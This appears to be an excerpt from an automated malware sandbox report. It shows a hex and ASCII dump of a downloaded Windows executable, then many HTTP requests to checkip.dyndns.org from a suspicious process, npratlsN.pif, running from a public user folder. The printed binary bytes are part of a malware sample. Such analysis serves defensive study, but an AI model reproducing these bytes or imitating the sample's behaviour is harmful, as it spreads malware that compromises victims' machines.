                                                                                                                                                        ETag: "9ca0aa05865db1:0"
                                                                                                                                                        Server: Microsoft-IIS/8.5
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:10 GMT
                                                                                                                                                        Content-Length: 1443328
                                                                                                                                                        Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 22 06 00 00 e0 0f 00 00 00 00 00 70 37 06 00 00 10 00 00 00 40 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 [TRUNCATED]
                                                                                                                                                        Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*"p7@@@%p&Lq.text `.itext0 `.data`@ &@.bss6`F.idata%&F@.tls4l.rdatal@@.relocLqrn@B.rsrc&p&@@@@
                                                                                                                                                        Jan 14, 2025 08:08:11.440237999 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 8d 40 00 2c 10 40 00 02 04 43 68 61 72 01 00
                                                                                                                                                        Data Ascii: @Boolean@FalseTrue@,@Char@@IntegerX@Bytel@Word@Cardinal@string@@<@$<@(
                                                                                                                                                        Jan 14, 2025 08:08:11.440253973 CET1236INData Raw: c3 90 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df 68 28 df 68 30 df 68 38 8b 48 40 89 4a 40 df 7a 38 df 7a 30 df 7a 28 df 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 8d 40 00 83 e9 0c 01 c8 01 ca f7 d9 79 13 df 2c 01 df 6c 01 08 df 7c 11 08 df 3c
                                                                                                                                                        Data Ascii: (hhhh h(h0h8H@J@z8z0z(z zzz:@y,l|<x,<DD@,<xH9JtgF!$gFu! gF0!gFQ9P
                                                                                                                                                        Jan 14, 2025 08:08:11.440269947 CET1236INData Raw: 08 c7 46 0c 01 00 00 00 89 73 10 8d 46 20 0f b7 4b 02 8d 14 01 89 53 08 01 f7 29 cf 89 7b 0c c6 03 00 89 70 fc 5f 5e 5b c3 90 b8 00 01 00 00 f0 0f b0 25 14 67 46 00 74 3f 6a 00 e8 76 f9 ff ff b8 00 01 00 00 f0 0f b0 25 14 67 46 00 74 29 6a 0a e8
                                                                                                                                                        Data Ascii: FsF KS){p_^[%gFt?jv%gFt)j`=,0u#$gFt^# gFt$gF5gF)rgF)gFgFX
                                                                                                                                                        Jan 14, 2025 08:08:11.440288067 CET896INData Raw: 72 0a 8d 04 2e 89 da e8 12 f7 ff ff c6 05 14 67 46 00 00 89 f0 5d 5f 5e 5b c3 89 d7 89 d0 e8 1f f9 ff ff 85 c0 74 16 89 c5 89 c2 89 f0 89 f9 e8 8e f6 ff ff 89 f0 e8 6f fc ff ff 89 e8 5d 5f 5e 5b c3 8b 47 fc a8 01 0f 84 e1 00 00 00 83 e0 f0 8d 2c
                                                                                                                                                        Data Ascii: r.gF]_^[to]_^[G,9=I`FtO%gFt'QRjfZY%gFtQRjLZY#^Gt~,9wt=0rQRZY1)!%0U)w$.
                                                                                                                                                        Jan 14, 2025 08:08:11.477561951 CET1236INData Raw: ff c1 e8 18 81 e2 ff ff ff 00 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01 83 df ff c1 e8 17 81 e2 ff ff 7f 00 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01 83 df ff c1 e8 16 81 e2 ff ff 3f 00 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01
                                                                                                                                                        Data Ascii: 00?000G_@SV^[USVE@;rMMA;sjEPP"}<E@UB;v'E
                                                                                                                                                        Jan 14, 2025 08:08:11.477612019 CET1236INData Raw: ff 00 8b 73 0c 83 e6 f0 83 ee 04 83 ee 10 8b 85 f8 47 fe ff 89 b4 85 d8 07 fe ff ff 85 f8 47 fe ff 8b 5b 04 81 fb a8 87 46 00 74 0c 81 bd f8 47 fe ff 00 10 00 00 7c b5 80 bd ff 47 fe ff 00 0f 85 58 02 00 00 c6 85 f7 47 fe ff 00 33 c0 89 85 e8 47
                                                                                                                                                        Data Ascii: sGG[FtG|GXG3GX)@(AG7GB@FOGGGGG;>Gu)@'GGu
                                                                                                                                                        Jan 14, 2025 08:08:11.477648020 CET1236INData Raw: 87 46 00 5f 5e 5b c3 8d 40 00 53 56 57 55 bb 04 67 46 00 be a8 87 46 00 8b 7b 04 eb 12 8b 6f 04 68 00 80 00 00 6a 00 57 e8 85 e7 ff ff 8b fd 3b fb 75 ea ba 37 00 00 00 b8 40 40 46 00 8b c8 89 48 14 8b c8 89 48 04 c7 40 08 01 00 00 00 33 c9 89 48
                                                                                                                                                        Data Ascii: F_^[@SVWUgFF{ohjW;u7@@FHH@3H Ju[gF@Ju^{hjS(;u6v]_^[=FtFP3F=eFtc=FthjFP3F @t
                                                                                                                                                        Jan 14, 2025 08:08:11.477679968 CET1236INData Raw: 76 0d 0f b6 03 88 44 35 00 43 46 3b fb 77 f3 80 3b 20 77 a1 8b c3 5a 5d 5f 5e 5b c3 8b c0 53 56 57 81 c4 f8 fe ff ff 8b da 8b f0 8b c3 e8 70 17 00 00 85 f6 75 1e 68 05 01 00 00 8d 44 24 04 50 6a 00 e8 c3 e1 ff ff 8b c8 8b d4 8b c3 e8 40 18 00 00
                                                                                                                                                        Data Ascii: vD5CF;w; wZ]_^[SVWpuhD$Pj@t;tN_^[S1i@FB@F[f$@F-$@Fj<$X<$XZ=(`Ft(`FSHftIfs
                                                                                                                                                        Jan 14, 2025 08:08:11.477718115 CET1236INData Raw: 00 7d 46 89 c2 83 e2 1f 8d 14 92 db ac 53 87 35 40 00 de f9 c1 e8 05 74 34 89 c2 83 e2 0f 74 0c 8d 14 92 db ac 53 bd 36 40 00 de f9 c1 e8 04 74 1c 8d 04 80 db ac 43 53 37 40 00 de f9 eb 0e dd d8 db ab 7d 35 40 00 eb 04 dd d8 d9 ee 5b c3 00 00 00
                                                                                                                                                        Data Ascii: }FS5@t4tS6@tCS7@}5@[?@@@@@P@$@@ @(k@ @@C#@&@**@ -@
                                                                                                                                                        Jan 14, 2025 08:08:11.477751970 CET1236INData Raw: c1 e9 02 49 f3 ab 59 83 e1 03 f3 aa 89 d0 89 e2 8b 4b b8 85 c9 74 01 51 8b 5b dc 85 db 74 04 8b 1b eb ed 39 d4 74 1d 5b 8b 0b 83 c3 04 8b 73 10 85 f6 74 06 8b 7b 14 89 34 07 83 c3 1c 49 75 ed 39 d4 75 e3 5f 5e 5b c3 8b c0 53 56 89 c3 89 c6 8b 36
                                                                                                                                                        Data Ascii: IYKtQ[t9t[st{4Iu9u_^[SV6Vvtu^[sr!,&@USVW3]U3Uh ;@d0d 3Uct1Ct>>t!PPMS


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        1192.168.2.449754132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:22.196283102 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:23.021819115 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:22 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                        Jan 14, 2025 08:08:23.025568008 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:23.304986000 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:23 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                        Jan 14, 2025 08:08:24.650568962 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:24.938235044 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:24 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        2192.168.2.452742132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:25.590271950 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:26.410264969 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:26 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        3192.168.2.452745132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:27.937289953 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:28.842770100 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:28 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        4192.168.2.452747132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:29.483717918 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:30.320014954 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:30 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        5192.168.2.452749132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:30.953635931 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:31.802824020 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:31 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        6192.168.2.452751132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:32.490906000 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:33.319438934 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:33 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        7192.168.2.452753132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:33.563077927 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:34.378317118 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:34 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                        Jan 14, 2025 08:08:34.382025003 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:34.666214943 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:34 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                        Jan 14, 2025 08:08:35.722327948 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:36.007688999 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:35 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        8192.168.2.452754132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:33.957174063 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:34.780626059 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:34 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        9192.168.2.452757132.226.8.169804544C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:35.401293039 CET151OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                        Jan 14, 2025 08:08:36.226084948 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:36 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        10192.168.2.452760132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:36.762757063 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:37.578485012 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:37 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
                                                                                                                                                        Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                        Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                        11192.168.2.452763132.226.8.169803592C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                        Jan 14, 2025 08:08:38.207943916 CET127OUTGET / HTTP/1.1
                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                        Host: checkip.dyndns.org
                                                                                                                                                        Jan 14, 2025 08:08:39.049273968 CET273INHTTP/1.1 200 OK
                                                                                                                                                        Date: Tue, 14 Jan 2025 07:08:38 GMT
                                                                                                                                                        Content-Type: text/html
                                                                                                                                                        Content-Length: 104
                                                                                                                                                        Connection: keep-alive
                                                                                                                                                        Cache-Control: no-cache
                                                                                                                                                        Pragma: no-cache
